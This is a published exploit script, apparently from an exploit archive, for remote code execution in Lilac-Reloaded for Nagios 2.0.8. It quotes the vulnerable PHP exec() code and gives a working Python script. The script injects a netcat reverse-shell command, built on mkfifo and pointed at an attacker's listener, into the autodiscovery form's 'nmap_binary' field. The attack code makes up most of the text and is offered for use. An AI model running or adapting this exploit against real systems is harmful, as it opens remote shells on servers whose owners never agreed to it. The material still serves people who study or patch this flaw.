Lilac-Reloaded For Nagios 2.0.8 Remote Code Execution

#!/usr/bin/env python"""# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 2023-04-13# Exploit Author: max / Zoltan Padanyi# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download# Version: 2.0.8# Tested on: Debian 7.6# CVE : N/AThe autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;Use at your own risk!RCA - wild exec is ongoing without any filteringin library/Net/Traceroute.php   181      function _setTraceroutePath($sysname)   182      {   183          $status    = '';   184          $output    = array();   185          $traceroute_path = '';   186   187          if ("windows" == $sysname) {   188              return "tracert";   189          } else {   190              $traceroute_path = exec("which traceroute", $output, $status);   [...]   257      function traceroute($host)   258      {   259   260          $argList = $this->_createArgList();   261          $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];   262          exec($cmd, $this->_result);"""import requestsimport argparseparser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)parser.add_argument("-i", "--ip", help="Listener IP", required=True)parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)args = parser.parse_args()rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}try:    r = requests.get(args.url)    if r.ok:      print("[+] URL looks good...moving forward...")      print("[+] Sending exploit in...")      r = requests.post(args.url,data=body)      if r.ok:        print("[+] Got HTTP 200, check your listener!")    else:      print("[-] Some kind of error happened, check the http response below!")      print(r.text)except Exception as e:  print("General exception: " + str(e))